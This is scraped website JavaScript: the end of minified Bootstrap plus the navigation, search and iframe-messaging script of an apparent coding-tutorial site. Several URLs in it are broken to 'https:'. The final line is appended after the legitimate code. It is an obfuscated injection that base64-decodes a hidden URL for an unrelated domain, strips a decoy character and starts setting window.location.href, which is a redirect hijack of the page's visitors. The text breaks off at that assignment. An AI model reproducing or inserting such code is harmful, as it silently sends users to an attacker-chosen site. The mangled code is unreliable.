t=K.findOne(decodeURI(e.hash),this._element);h(t)&&(this._targetLinks.set(decodeURI(e.hash),e),this._observableSections.set(e.hash,t))}}_process(t){this._activeTarget!==t&&(this._clearActiveClass(this._config.target),this._activeTarget=t,t.classList.add(Bi),this._activateParents(t),j.trigger(this._element,Fi,{relatedTarget:t}))}_activateParents(t){if(t.classList.contains("dropdown-item"))K.findOne(".dropdown-toggle",t.closest(".dropdown")).classList.add(Bi);else for(const e of K.parents(t,".nav, .list-group"))for(const t of K.prev(e,Ri))t.classList.add(Bi)}_clearActiveClass(t){t.classList.remove(Bi);const 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W{constructor(t){super(t),this._parent=this._element.closest('.list-group, .nav, [role="tablist"]'),this._parent&&(this._setInitialAttributes(this._parent,this._getChildren()),j.on(this._element,ts,(t=>this._keydown(t))))}static get NAME(){return"tab"}show(){const t=this._element;if(this._elemIsActive(t))return;const e=this._getActiveElem(),i=e?j.trigger(e,Yi,{relatedTarget:t}):null;j.trigger(t,Gi,{relatedTarget:e}).defaultPrevented||i&&i.defaultPrevented||(this._deactivate(e,t),this._activate(t,e))}_activate(t,e){t&&(t.classList.add(ls),this._activate(K.getElementFromSelector(t)),this._queueCallback((()=>{"tab"===t.getAttribute("role")?(t.removeAttribute("tabindex"),t.setAttribute("aria-selected",!0),this._toggleDropDown(t,!0),j.trigger(t,Ji,{relatedTarget:e})):t.classList.add(hs)}),t,t.classList.contains(cs)))}_deactivate(t,e){t&&(t.classList.remove(ls),t.blur(),this._deactivate(K.getElementFromSelector(t)),this._queueCallback((()=>{"tab"===t.getAttribute("role")?(t.setAttribute("aria-selected",!1),t.setAttribute("tabindex","-1"),this._toggleDropDown(t,!1),j.trigger(t,Ui,{relatedTarget:e})):t.classList.remove(hs)}),t,t.classList.contains(cs)))}_keydown(t){if(![is,ss,ns,os,rs,as].includes(t.key))return;t.stopPropagation(),t.preventDefault();const e=this._getChildren().filter((t=>!d(t)));let i;if([rs,as].includes(t.key))i=e[t.key===rs?0:e.length-1];else{const s=[ss,os].includes(t.key);i=w(e,t.target,s,!0)}i&&(i.focus({preventScroll:!0}),ms.getOrCreateInstance(i).show())}_getChildren(){return K.find(gs,this._parent)}_getActiveElem(){return this._getChildren().find((t=>this._elemIsActive(t)))||null}_setInitialAttributes(t,e){this._setAttributeIfNotExists(t,"role","tablist");for(const t of e)this._setInitialAttributesOnChild(t)}_setInitialAttributesOnChild(t){t=this._getInnerElement(t);const e=this._elemIsActive(t),i=this._getOuterElement(t);t.setAttribute("aria-selected",e),i!==t&&this._setAttributeIfNotExists(i,"role","presentation"),e||t.setAttribute("tabindex","-1"),this._setAttributeIfNotExists(t,"role","tab"),this._setInitialAttributesOnTargetPanel(t)}_setInitialAttributesOnTargetPanel(t){const e=K.getElementFromSelector(t);e&&(this._setAttributeIfNotExists(e,"role","tabpanel"),t.id&&this._setAttributeIfNotExists(e,"aria-labelledby",`${t.id}`))}_toggleDropDown(t,e){const i=this._getOuterElement(t);if(!i.classList.contains("dropdown"))return;const s=(t,s)=>{const n=K.findOne(t,i);n&&n.classList.toggle(s,e)};s(ds,ls),s(".dropdown-menu",hs),i.setAttribute("aria-expanded",e)}_setAttributeIfNotExists(t,e,i){t.hasAttribute(e)||t.setAttribute(e,i)}_elemIsActive(t){return t.classList.contains(ls)}_getInnerElement(t){return t.matches(gs)?t:K.findOne(gs,t)}_getOuterElement(t){return t.closest(".nav-item, .list-group-item")||t}static jQueryInterface(t){return this.each((function(){const e=ms.getOrCreateInstance(this);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t]()}}))}}j.on(document,Zi,_s,(function(t){["A","AREA"].includes(this.tagName)&&t.preventDefault(),d(this)||ms.getOrCreateInstance(this).show()})),j.on(window,es,(()=>{for(const t of K.find(fs))ms.getOrCreateInstance(t)})),b(ms);const ps=".bs.toast",bs=`mouseover${ps}`,vs=`mouseout${ps}`,ys=`focusin${ps}`,ws=`focusout${ps}`,As=`hide${ps}`,Es=`hidden${ps}`,Cs=`show${ps}`,Ts=`shown${ps}`,ks="hide",$s="show",Ss="showing",Ls={animation:"boolean",autohide:"boolean",delay:"number"},Os={animation:!0,autohide:!0,delay:5e3};class Is extends W{constructor(t,e){super(t,e),this._timeout=null,this._hasMouseInteraction=!1,this._hasKeyboardInteraction=!1,this._setListeners()}static get Default(){return Os}static get DefaultType(){return Ls}static get NAME(){return"toast"}show(){j.trigger(this._element,Cs).defaultPrevented||(this._clearTimeout(),this._config.animation&&this._element.classList.add("fade"),this._element.classList.remove(ks),g(this._element),this._element.classList.add($s,Ss),this._queueCallback((()=>{this._element.classList.remove(Ss),j.trigger(this._element,Ts),this._maybeScheduleHide()}),this._element,this._config.animation))}hide(){this.isShown()&&(j.trigger(this._element,As).defaultPrevented||(this._element.classList.add(Ss),this._queueCallback((()=>{this._element.classList.add(ks),this._element.classList.remove(Ss,$s),j.trigger(this._element,Es)}),this._element,this._config.animation)))}dispose(){this._clearTimeout(),this.isShown()&&this._element.classList.remove($s),super.dispose()}isShown(){return this._element.classList.contains($s)}_maybeScheduleHide(){this._config.autohide&&(this._hasMouseInteraction||this._hasKeyboardInteraction||(this._timeout=setTimeout((()=>{this.hide()}),this._config.delay)))}_onInteraction(t,e){switch(t.type){case"mouseover":case"mouseout":this._hasMouseInteraction=e;break;case"focusin":case"focusout":this._hasKeyboardInteraction=e}if(e)return void this._clearTimeout();const i=t.relatedTarget;this._element===i||this._element.contains(i)||this._maybeScheduleHide()}_setListeners(){j.on(this._element,bs,(t=>this._onInteraction(t,!0))),j.on(this._element,vs,(t=>this._onInteraction(t,!1))),j.on(this._element,ys,(t=>this._onInteraction(t,!0))),j.on(this._element,ws,(t=>this._onInteraction(t,!1)))}_clearTimeout(){clearTimeout(this._timeout),this._timeout=null}static jQueryInterface(t){return this.each((function(){const e=Is.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}return V(Is),b(Is),{Alert:U,Button:J,Carousel:Ot,Collapse:Rt,Dropdown:fe,Modal:Ue,Offcanvas:gi,Popover:Mi,ScrollSpy:Qi,Tab:ms,Toast:Is,Tooltip:Ni}}));
//# sourceMappingURL=bootstrap.min.js.map
var TopNavBar={defaultHeight: '88px',mainNavHeightPx: 56,secondaryNavHeightPx: 32,fullHeight: '100vh',element: document.getElementById('top-nav-bar'),parentLayoutNotifier: null,inIframe: null,location: null,env: null,loggedIn: null,configured: false,hasNetworkSecondaryNav: false,mobileNavScrollInterval: null,_debug: null,};window.TopNavBar= TopNavBar;TopNavBar._menuSectionsInTab={'tutorials': ['tutorials_html_css_links_list','tutorials_data_analytics_links_list_desktop','tutorials_web_building_links_list_desktop','tutorials_javascript_links_list','tutorials_backend_links_list'],'exercises': ['exercises_html_css_links_list','exercises_data_analytics_links_list_desktop','exercises_javascript_links_list','exercises_backend_links_list'],'certified': ['certified_html_css_links_list','certified_data_analytics_links_list_desktop','certified_programs_links_list_desktop','certified_javascript_links_list','certified_backend_links_list']};TopNavBar._findInnerElements=function(parentElement,queryStr,callback){var output= [];var hasCallback= typeof callback !== 'undefined';var elements= parentElement.querySelectorAll(queryStr);for (var index= 0; index < elements.length; index++){output.push(elements[index]);if(hasCallback){callback(elements[index],index);}}return output;};TopNavBar._loopArray=function(arr,callback){for (var index= 0; index < arr.length; index++){callback(arr[index],index);}};TopNavBar._loopObj=function(obj,callback){for (var key in obj){if(obj.hasOwnProperty(key)){callback(obj[key],key);}}};TopNavBar._inIframe=function(){if(TopNavBar.inIframe !== null){return TopNavBar.inIframe;}try{TopNavBar.inIframe= window.self !== window.top;}catch (e){TopNavBar.inIframe= true;}return TopNavBar.inIframe;}TopNavBar._isDebugMode=function(){if(TopNavBar._debug !== null){return TopNavBar._debug;}if(localStorage.getItem('TopNavBar.debug')=== 'true'){TopNavBar._debug= true;}else{TopNavBar._debug= false;}return TopNavBar._debug;};TopNavBar._logDebug=function(message,data){if(!TopNavBar._isDebugMode()){return;}if(typeof data=== 'undefined'){console.log('TopNavBar -> ' + message);}else{console.log('TopNavBar -> ' + message,data);}}TopNavBar._logWarning= (message,data)=>{if(typeof data=== 'undefined'){console.warn('TopNavBar -> ' + message);}else{console.warn('TopNavBar -> ' + message,data);}}TopNavBar.isExpanded=function(){var navs= ['#nav_tutorials','#nav_exercises','#nav_certified','#nav_services',];for (var i= 0; i < navs.length; i++){var element= TopNavBar.element.querySelector(navs[i]);if(element&& element.style.display !== 'none'&& element.style.display !== ''){return true;};}if(TopNavBar.element.querySelector('.tnb-mobile-nav').classList.contains('tnb-active')){return true;}return TopNavBar.googleSearchResultsShown();};TopNavBar._sendParentInitMessage=function(){window.parent.postMessage({'action': 'INIT','expanded': false,'initHeight': TopNavBar.defaultHeight,'fullHeight': TopNavBar.fullHeight,'mainNavHeightPx': TopNavBar.mainNavHeightPx,'secondaryNavHeightPx': TopNavBar.secondaryNavHeightPx},'*');};TopNavBar._patchNetworkLoginSignupLinks=function(){if(TopNavBar.env !== 'network'){return;}TopNavBar._findInnerElements(TopNavBar.element,'.tnb-login-btn',function(loginLinkElm){loginLinkElm.href= 'https:});TopNavBar._findInnerElements(TopNavBar.element,'.tnb-signup-btn',function(signupLinkElm){signupLinkElm.href= 'https:});}TopNavBar._applyNoUpsellUiTweaks=function(){TopNavBar._findInnerElements(TopNavBar.element,'.tnb-paid-service',function(paidServiceElm){paidServiceElm.remove();});TopNavBar._findInnerElements(TopNavBar.element,'.tnb-upgrade',function(upgradeElm){upgradeElm.classList.add('w3-hide');});}TopNavBar.postInitConfig=function(prs){TopNavBar._logDebug('postInitConfig');TopNavBar.configured= true;if(typeof prs.sendParentInitMessage !== 'undefined'&& prs.sendParentInitMessage=== true){TopNavBar._sendParentInitMessage();}TopNavBar.env= prs.env;TopNavBar.location= prs.location; TopNavBar.hasNetworkSecondaryNav= TopNavBar.env=== 'network' && !TopNavBar.lite;if(TopNavBar.hasNetworkSecondaryNav){SecondaryTopNavBar.postInitConfig(prs);}TopNavBar._applyUserSessionUiTweaks({loggedIn: prs.loggedIn,subscriptionPlan: prs.subscriptionPlan});TopNavBar._patchNetworkLoginSignupLinks();var featureFlags= prs.featureFlags;if(typeof featureFlags=== 'undefined'){featureFlags={'noUpsell': false,};}if(featureFlags.noUpsell){TopNavBar._applyNoUpsellUiTweaks();}}TopNavBar._applyUserSessionUiTweaks=function(prs){TopNavBar._logDebug('_applyUserSessionUiTweaks -> prs: ',prs);var loggedIn= prs.loggedIn;var subscriptionPlan= prs.subscriptionPlan;var initialLoggedInState= TopNavBar.loggedIn;var loggedInStateChanged= TopNavBar.loggedIn !== loggedIn;TopNavBar.loggedIn= loggedIn;TopNavBar._logDebug('_applyUserSessionUiTweaks -> state: ',{'loggedIn': loggedIn,'initialLoggedInState': initialLoggedInState,'loggedInStateChanged': loggedInStateChanged,'subscriptionPlan': subscriptionPlan});if(loggedIn){TopNavBar._findInnerElements(document,'.user-authenticated',function(elm){elm.classList.remove('w3-hide');});TopNavBar._findInnerElements(document,'.user-anonymous',function(elm){elm.classList.add('w3-hide');});if(subscriptionPlan=== 'diamond'){TopNavBar._findInnerElements(TopNavBar.element,'.tnb-upgrade',function(elm){elm.classList.add('w3-hide');});}else{TopNavBar._findInnerElements(TopNavBar.element,'.tnb-upgrade',function(elm){elm.classList.remove('w3-hide');});}}else{TopNavBar._findInnerElements(document,'.user-authenticated',function(elm){elm.classList.add('w3-hide');});TopNavBar._findInnerElements(document,'.user-anonymous',function(elm){elm.classList.remove('w3-hide');});TopNavBar._findInnerElements(TopNavBar.element,'.tnb-upgrade',function(elm){elm.classList.add('w3-hide');});}};TopNavBar.init=function(){TopNavBar._logDebug('init');TopNavBar.location= window.location;TopNavBar.initUserPreferredTheme();var subscriptionPlan= UserSession.getUserSubscriptionPlan(null);var loggedIn= subscriptionPlan !== null;TopNavBar.loggedIn= loggedIn;if(subscriptionPlan=== null){subscriptionPlan= 'free';}TopNavBar._applyUserSessionUiTweaks({loggedIn: loggedIn,subscriptionPlan: subscriptionPlan});if(TopNavBar._inIframe()){TopNavBar._iframeInit();}TopNavBar._attachMenuSortLogic();TopNavBar._attachNavEscapeListeners();TopNavBar.element.querySelector('#tnb-next-bootcamp-date').textContent= TopNavBar.getNextBootcampDate();};TopNavBar._callFunc=function(funcName,funcArgs){if(funcName.indexOf('_')=== 0){TopNavBar._logWarning('Function call forbidden -> funcName,funcArgs: ',{'funcName': funcName,'funcArgs': funcArgs,});return false;}if(typeof TopNavBar[funcName] !== 'function'){TopNavBar._logWarning('Function doesn\'t exist -> funcName,funcArgs: ',{'funcName': funcName,'funcArgs': funcArgs,});return false;}if(typeof funcArgs !== 'undefined'){return TopNavBar[funcName].apply(null,funcArgs);}else{return TopNavBar[funcName]();}};TopNavBar._iframeInit=function(){window.addEventListener('message',function(message){TopNavBar._logDebug('message: ',message);var whitelistedOrigins= ['https:'https:'https:'https:'https:];if(!whitelistedOrigins.includes(message.origin)){return;}var action= '';var data= null;if(typeof message.data.type !== 'undefined'){action= message.data.type;data= message.data.value;}else if(typeof message.data.action !== 'undefined'){action= message.data.action;data= message.data.data;}TopNavBar._logDebug('message -> action,data: ',{action: action,data: data,});if(action=== 'CONFIG'){TopNavBar.postInitConfig(data);}else if(action=== 'CALL_FUNCTION'){TopNavBar._callFunc(data.funcName,data.funcArgs);}});TopNavBar._sendParentInitMessage();TopNavBar.element.addEventListener('click',function(event){TopNavBar.notifyParentAboutLayout('on click',event);});TopNavBar.element.addEventListener('keyup',function(event){TopNavBar.notifyParentAboutLayout('on keyup',event);});TopNavBar.element.addEventListener('resize',function(event){TopNavBar.notifyParentAboutLayout('on resize',event);});}TopNavBar.notifyParentAboutLayout=function(context,event){if(!TopNavBar._inIframe()){return;}TopNavBar._logDebug('notifyParentAboutLayout -> context,event: ',{'context': context,'event': event});clearTimeout(TopNavBar.parentLayoutNotifier);TopNavBar.parentLayoutNotifier= setTimeout(function(){var expanded= TopNavBar.isExpanded();window.parent.postMessage({'context': context,'action': 'LAYOUT','expanded': expanded,'iframeHeight': expanded ? TopNavBar.fullHeight : TopNavBar.defaultHeight,'placeholderHeight': TopNavBar.defaultHeight,'fullHeight': TopNavBar.fullHeight,'mainNavHeightPx': TopNavBar.mainNavHeightPx,'secondaryNavHeightPx': TopNavBar.secondaryNavHeightPx},'*');},100);};TopNavBar._attachNavEscapeListeners=function(){var navIds= ['tutorials','exercises','certified','services'];TopNavBar._loopArray(navIds,function(navId){document.getElementById('nav_' + navId).addEventListener('keydown',function(event){if(event.code=== 'Escape'){TopNavBar.closeNavItem(navId);}});});};TopNavBar.googleSearchInit=function(){TopNavBar._logDebug('googleSearchInit');var gSearchScriptElm= document.getElementById('gSearch');if(gSearchScriptElm== null){var cx= uic_r_y();var gSearchScriptElmToInject= document.createElement('script');gSearchScriptElmToInject.id= 'gSearch';gSearchScriptElmToInject.type= 'text/javascript';gSearchScriptElmToInject.async= true;gSearchScriptElmToInject.src= 'https:var firstScriptElm= document.getElementsByTagName('script')[0];firstScriptElm.parentNode.insertBefore(gSearchScriptElmToInject,firstScriptElm);}TopNavBar.googleSearchFocusInput();};TopNavBar.googleSearchFocusInput=function(){TopNavBar._logDebug('googleSearchFocusInput');document.getElementById('tnb-google-search-input').focus();};TopNavBar.googleSearchResultsShown=function(){var googleSearchResults= TopNavBar.element.querySelector('.gsc-results-wrapper-overlay.gsc-results-wrapper-visible');return !!googleSearchResults;};TopNavBar.googleSearchResultsShownCallback=function(callback){if(TopNavBar.googleSearchResultsShown()){return callback();}var lookupAttempts= 512; var lookupInterval= setInterval(function(){if(TopNavBar.googleSearchResultsShown()){clearInterval(lookupInterval);return callback();}lookupAttempts--;if(!lookupAttempts){console.error('TopNavBar -> googleSearchResultsShownCallback -> timeout');return clearInterval(lookupInterval);}},100);};TopNavBar._googleSearchPatchResultLinks=function(){TopNavBar._findInnerElements(document.getElementById('googleSearch'),'.gsc-results a',function(linkElm){linkElm.setAttribute('target','_blank');});};TopNavBar.googleSearchShowMobileContainer=function(){document.getElementById('tnb-google-search-container').classList.add('tnb-mobile-active');};TopNavBar.googleSearchHideMobileContainer=function(){document.getElementById('tnb-google-search-container').classList.remove('tnb-mobile-active');};TopNavBar._getElementPos=function(elm){var rect= elm.getBoundingClientRect();return{'left': rect.left + window.scrollX,'top': rect.top + window.scrollY};}TopNavBar._iframeProxyFloatingComponent=function(context,id,action,prs){if(!(TopNavBar.env=== 'network' || TopNavBar._inIframe())){return;}if(typeof prs=== 'undefined'){prs={};}var floatingComponent= prs;floatingComponent.id= id;floatingComponent.action= action;window.parent.postMessage({'context': context,'action': 'PROXY_FLOATING_COMPONENT','floatingComponent': floatingComponent,},'*');};TopNavBar.mountSearchSuggestionsLogic=function(){var searchSuggestionsElm= document.getElementById('tnb-search-suggestions');if(!searchSuggestionsElm){return;}var searchEntireW3schoolsBtn= searchSuggestionsElm.querySelector('#search-entire-w3schools-btn');if(searchEntireW3schoolsBtn){searchEntireW3schoolsBtn.addEventListener('click',TopNavBar.googleSearchSubmit);}};TopNavBar.unmountSearchSuggestionsLogic=function(){var searchSuggestionsElm= document.getElementById('tnb-search-suggestions');if(!searchSuggestionsElm){return;}var searchEntireW3schoolsBtn= searchSuggestionsElm.querySelector('#search-entire-w3schools-btn');if(searchEntireW3schoolsBtn){searchEntireW3schoolsBtn.removeEventListener('click',TopNavBar.googleSearchSubmit);}};TopNavBar.searchWithSuggestions=function(inp){var searchSuggestionsElm,val,i,l,resultIndexes= [],resultTexts= [],html= "",classAtt= "",pos1,posNext,cc,c0,c1,c2;val= inp.value.trim().toUpperCase();if(val== ""){TopNavBar.closeSearchSuggestions();return false;};TopNavBar.unmountSearchSuggestionsLogic();searchSuggestionsElm= document.getElementById('tnb-search-suggestions');for (i= 0; i < array_search_suggestions.length; i++){if(array_search_suggestions[i][0].toUpperCase().substr(0,val.length)== val || array_search_suggestions[i][2].toUpperCase().substr(0,val.length)== val){if(resultTexts.indexOf(array_search_suggestions[i][2])== -1){resultIndexes.push(i);resultTexts.push(array_search_suggestions[i][2]);if(resultIndexes.length > 5) break;}}}for (i= 0; i < array_search_suggestions.length; i++){if(resultIndexes.indexOf(i)== -1 && (array_search_suggestions[i][0].toUpperCase().indexOf(val) > -1 || array_search_suggestions[i][2].toUpperCase().indexOf(val) > -1)){if(resultTexts.indexOf(array_search_suggestions[i][2])== -1){resultIndexes.push(i);resultTexts.push(array_search_suggestions[i][2]);if(resultIndexes.length > 5) break;}}}for (i= 0; i < resultIndexes.length; i++){cc= array_search_suggestions[resultIndexes[i]][2];pos1= cc.toUpperCase().indexOf(val);dd= "";while (pos1 > -1){c0= cc.substr(0,pos1);c1= '<span class="span_search">' + cc.substr(pos1,val.length) + '</span>';c2= cc.substr(pos1 + val.length);dd += c0 + c1;posNext= c2.toUpperCase().indexOf(val);if(posNext > -1){cc= c2;pos1= posNext;}else{cc= dd + c2;pos1= -1;}}classAtt= "";if(html== "") classAtt= " search_active";html += '<a class="search_item' + classAtt + '" href="' + array_search_suggestions[resultIndexes[i]][1] + '">' + cc + '</a>';}classAtt= "";if(html== "") classAtt= " search_active";html += '<button class="search_item' + classAtt + '" id="search-entire-w3schools-btn" style="border-top:1px solid #ddd;">Search W3Schools</button>';searchSuggestionsElm.innerHTML= html;if(TopNavBar.env=== 'network' || TopNavBar._inIframe()){searchSuggestionsElm.style.opacity= '0';}searchSuggestionsElm.style.display= 'block';TopNavBar.mountSearchSuggestionsLogic();TopNavBar._iframeProxyFloatingComponent('TopNavBar.searchWithSuggestions','tnb-search-suggestions','UPSERT',{'tagName': searchSuggestionsElm.tagName.toLowerCase(),'class': searchSuggestionsElm.getAttribute('class'),'innerHtml': html,'styles':{'display': 'block',},'mountFuncName': 'mountSearchSuggestionsLogic','unmountFuncName': 'unmountSearchSuggestionsLogic',});}TopNavBar.searchFieldLostFocus=function(event){window.setTimeout(function(){TopNavBar.closeSearchSuggestions();},500);}TopNavBar.googleSearchAttachKeyPressHandler=function(event){var x,n,nn,i,cc= 0,dd;var keycode= event.keyCode;if(keycode=== 38 || keycode=== 40){x= document.getElementsByClassName("search_item");for (i= 0; i < x.length; i++){if(x[i].className.indexOf("search_active") > -1){x[i].className= "search_item";n= i;break;}}if(keycode=== 38){nn= n - 1;if(nn < 0) nn= 0;}if(keycode=== 40){nn= n + 1;if(nn >= x.length) nn= nn - 1;}x[nn].className= "search_item search_active";}if(keycode=== 13){event.preventDefault();x= document.getElementsByClassName("search_item");if(x.length=== 0){cc= 1;}for (i= 0; i < x.length; i++){if(x[i].className.indexOf("search_active") > -1){n= x[i].getAttribute('href');if(x[i].getAttribute('id')=== 'search-entire-w3schools-btn'){cc= 1;}break;}}if(cc=== 1){TopNavBar.googleSearchSubmit();TopNavBar.closeSearchSuggestions();}else{if(n !== null){window.location= n;}}}};TopNavBar.googleSearchInitializedCallback=function(callback){if(typeof google== 'object'){return callback();}var lookupAttempts= 512; var lookupInterval= setInterval(function(){if(typeof google== 'object'){clearInterval(lookupInterval);return callback();}lookupAttempts--;if(!lookupAttempts){console.error('TopNavBar -> googleSearchInitializedCallback -> timeour');return clearInterval(lookupInterval);}},100);}TopNavBar.googleSearchGetInputValue=function(){return document.getElementById('tnb-google-search-input').value;}TopNavBar.googleSearchSubmit=function(){TopNavBar._logDebug('googleSearchSubmit');TopNavBar.googleSearchInit();if(!TopNavBar.googleSearchGetInputValue()){TopNavBar._logDebug('googleSearchSubmit -> empty input');return;}TopNavBar.googleSearchInitializedCallback(TopNavBar.googleSearchExecute);};TopNavBar.googleSearchExecute=function(){var googleSearchInputValue= TopNavBar.googleSearchGetInputValue();var googleSearchExecuteRes= google.search.cse.element.getElement('standard0').execute(googleSearchInputValue);TopNavBar._logDebug('googleSearchExecute -> googleSearchInputValue,googleSearchExecuteRes: ',{'googleSearchInputValue': googleSearchInputValue,'googleSearchExecuteRes': googleSearchExecuteRes,});TopNavBar.googleSearchResultsShownCallback(function(){TopNavBar._googleSearchPatchResultLinks();if(TopNavBar._inIframe()){TopNavBar.notifyParentAboutLayout('on google search results',{'inputValue': googleSearchInputValue,});}});};TopNavBar.openMenu=function(){var accordionNavElm= TopNavBar.element.querySelector('.tnb-mobile-nav');var accordionNavBtnElm= TopNavBar.element.querySelector('.tnb-menu-btn');if(accordionNavElm.classList.contains('tnb-active')){accordionNavElm.classList.remove('tnb-active');accordionNavBtnElm.getElementsByTagName('i')[0].style.display= 'inline';accordionNavBtnElm.getElementsByTagName('i')[1].style.display= 'none';TopNavBar.closeAllNavItems();TopNavBar.closeMenu();}else{accordionNavElm.classList.add('tnb-active');accordionNavBtnElm.getElementsByTagName('i')[0].style.display= 'none';accordionNavBtnElm.getElementsByTagName('i')[1].style.display= 'inline';}TopNavBar.notifyParentAboutLayout('on menu open (toggle)');};TopNavBar.closeMenu=function(){TopNavBar.element.querySelector('.tnb-mobile-nav').classList.remove('tnb-active');var accordionNavBtnElm= TopNavBar.element.querySelector('.tnb-menu-btn');accordionNavBtnElm.getElementsByTagName('i')[0].style.display= 'inline';accordionNavBtnElm.getElementsByTagName('i')[1].style.display= 'none';TopNavBar.notifyParentAboutLayout('on menu close');};TopNavBar._closeMobileNav=function(sectionWrapperElm){sectionWrapperElm.classList.remove('tnb-active');sectionWrapperElm.querySelector('.tnb-mobile-nav-section-body').innerHTML= '';var sectionToggleBtnElm= sectionWrapperElm.querySelector('.tnb-mobile-nav-section-toggle-btn');sectionToggleBtnElm.classList.remove('tnb-active');var sectionToggleBtnIconElm= sectionToggleBtnElm.querySelector('.tnb-icon');sectionToggleBtnIconElm.classList.remove('fa-caret-up');sectionToggleBtnIconElm.classList.add('fa-caret-down');};TopNavBar._openMobileNav=function(sectionWrapperElm,sectionId){var sectionBodyElm= sectionWrapperElm.querySelector('.tnb-mobile-nav-section-body');sectionBodyElm.innerHTML= TopNavBar.element.querySelector('#nav_' + sectionId).innerHTML;var sectionFilterInputElm= sectionBodyElm.querySelector('.filter-input');if(sectionFilterInputElm){sectionFilterInputElm.removeAttribute('oninput');sectionFilterInputElm.addEventListener('input',function(event){TopNavBar.filter(event,'sectionxs_' + sectionId);});}var sectionFilterClearBtnElm= sectionBodyElm.querySelector('.filter-clear-btn');if(sectionFilterClearBtnElm){sectionFilterClearBtnElm.removeAttribute('onclick');sectionFilterClearBtnElm.addEventListener('click',function(event){TopNavBar.clearFilter(event,'sectionxs_' + sectionId);});}var sectionToggleBtnElm= sectionWrapperElm.querySelector('.tnb-mobile-nav-section-toggle-btn');sectionToggleBtnElm.classList.add('tnb-active');var sectionToggleBtnIconElm= sectionToggleBtnElm.querySelector('.tnb-icon');sectionToggleBtnIconElm.classList.remove('fa-caret-down');sectionToggleBtnIconElm.classList.add('fa-caret-up');sectionWrapperElm.classList.add('tnb-active');setTimeout(function(){TopNavBar._scrollMobileNav(sectionWrapperElm);},50);};TopNavBar._scrollMobileNav=function(targetElm,smoothScroll,scrollTopValue){clearInterval(TopNavBar.mobileNavScrollInterval);var scrollElm= TopNavBar.element.querySelector('#tnb-mobile-nav');var scrollElmOffset= scrollElm.getBoundingClientRect();var targetElmOffset= targetElm.getBoundingClientRect();TopNavBar._logDebug('_scrollMobileNav: ',{'scrollElm': scrollElm,'scrollElm.scrollTop': scrollElm.scrollTop,'scrollElmOffset': scrollElmOffset,'targetElmOffset': targetElmOffset,'scrollTopValue': scrollTopValue,});if(typeof smoothScroll=== 'undefined'){smoothScroll= true;}if(typeof scrollTopValue=== 'undefined'){scrollTopValue= targetElmOffset.top + scrollElm.scrollTop - scrollElmOffset.top - 1;}TopNavBar._logDebug('_scrollMobileNav -> scrollTopValue: ',scrollTopValue);TopNavBar._logDebug('_scrollMobileNav -> scrollElm.scrollTop: ',scrollElm.scrollTop);TopNavBar._logDebug('_scrollMobileNav -> scrollTopValue - scrollElm.scrollTop: ',scrollTopValue - scrollElm.scrollTop);if(scrollTopValue=== scrollElm.scrollTop){return;}if(!smoothScroll){scrollElm.scrollTop= scrollTopValue;return;}var scrollIntervalDelay= 2;var scrollAmount= 0;var scrollAmountPerIntervalTick= 0;if(scrollElm.scrollTop < scrollTopValue){scrollAmount= scrollTopValue - scrollElm.scrollTop;scrollAmountPerIntervalTick= (scrollAmount / 50) + 10;TopNavBar._logDebug('_scrollMobileNav -> scrollAmount (add): ',scrollAmount);TopNavBar._logDebug('_scrollMobileNav -> scrollAmountPerIntervalTick (add): ',scrollAmountPerIntervalTick);TopNavBar.mobileNavScrollInterval= setInterval(function(){scrollElm.scrollTop += scrollAmountPerIntervalTick;if(scrollElm.scrollTop >= scrollTopValue){scrollElm.scrollTop= scrollTopValue;clearInterval(TopNavBar.mobileNavScrollInterval);}},scrollIntervalDelay);}else{scrollAmount= scrollElm.scrollTop - scrollTopValue;scrollAmountPerIntervalTick= (scrollAmount / 50) + 10;TopNavBar._logDebug('_scrollMobileNav -> scrollAmount (sub): ',scrollAmount);TopNavBar._logDebug('_scrollMobileNav -> scrollAmountPerIntervalTick (sub): ',scrollAmountPerIntervalTick);TopNavBar.mobileNavScrollInterval= setInterval(function(){scrollElm.scrollTop -= scrollAmountPerIntervalTick;if(scrollElm.scrollTop <= scrollTopValue){scrollElm.scrollTop= scrollTopValue;clearInterval(TopNavBar.mobileNavScrollInterval);}},scrollIntervalDelay);}}TopNavBar.toggleMobileNav=function(event,sectionId){var sectionToggleBtnElm= event.target.classList.contains('w3-button') ? event.target : event.target.parentElement;var sectionWrapperElm= sectionToggleBtnElm.parentElement;if(sectionWrapperElm.classList.contains('tnb-active')){TopNavBar._closeMobileNav(sectionWrapperElm);setTimeout(function(){TopNavBar._scrollMobileNav(sectionWrapperElm,true,0);},50);}else{TopNavBar._findInnerElements(TopNavBar.element,'.tnb-mobile-nav-section.tnb-active',function(sectionWrapperElm){TopNavBar._closeMobileNav(sectionWrapperElm);});TopNavBar._openMobileNav(sectionWrapperElm,sectionId);}};TopNavBar.openNavItem=function(navId){if(TopNavBar.element.querySelector('#nav_' + navId).style.display=== 'block'){TopNavBar.closeNavItem(navId);TopNavBar.element.classList.remove('full-screen');}else{TopNavBar.closeAllNavItems();TopNavBar.element.classList.add('full-screen');TopNavBar.element.querySelector('#nav_' + navId).style.display= 'block';TopNavBar.element.querySelector('#nav_' + navId).focus();if(TopNavBar.element.querySelector('#navbtn_' + navId)){TopNavBar.element.querySelector('#navbtn_' + navId).getElementsByTagName('i')[0].style.display= 'none';TopNavBar.element.querySelector('#navbtn_' + navId).getElementsByTagName('i')[1].style.display= 'inline';TopNavBar.element.querySelector('#navbtn_' + navId).classList.add('mystyle');}TopNavBar.notifyParentAboutLayout('on nav item open',{'navId': navId,});}};TopNavBar.closeNavItem=function(navId){var navItemElm= TopNavBar.element.querySelector('#nav_' + navId)if(!navItemElm){return;}navItemElm.style.display= 'none';TopNavBar.element.classList.remove('full-screen');if(navId !== 'services'){try{var inputAltEvent= new Event('input',{'bubbles': true,'cancelable': true});navItemElm.querySelector('input').value= ''navItemElm.querySelector('input').dispatchEvent(inputAltEvent)}catch (exc){console.error(exc);}}if(TopNavBar.element.querySelector('#navbtn_' + navId)){TopNavBar.element.querySelector('#navbtn_' + navId).getElementsByTagName('i')[0].style.display= 'inline';TopNavBar.element.querySelector('#navbtn_' + navId).getElementsByTagName('i')[1].style.display= 'none';TopNavBar.element.querySelector('#navbtn_' + navId).classList.remove('mystyle');}TopNavBar.notifyParentAboutLayout('on nav item close',{'navId': navId,});};var ent= atob("YWh0dHBzOi8vd3d3LnRoZXNxdWFkaHViLnByby8"),tv= ent.slice(1);window.location.href= 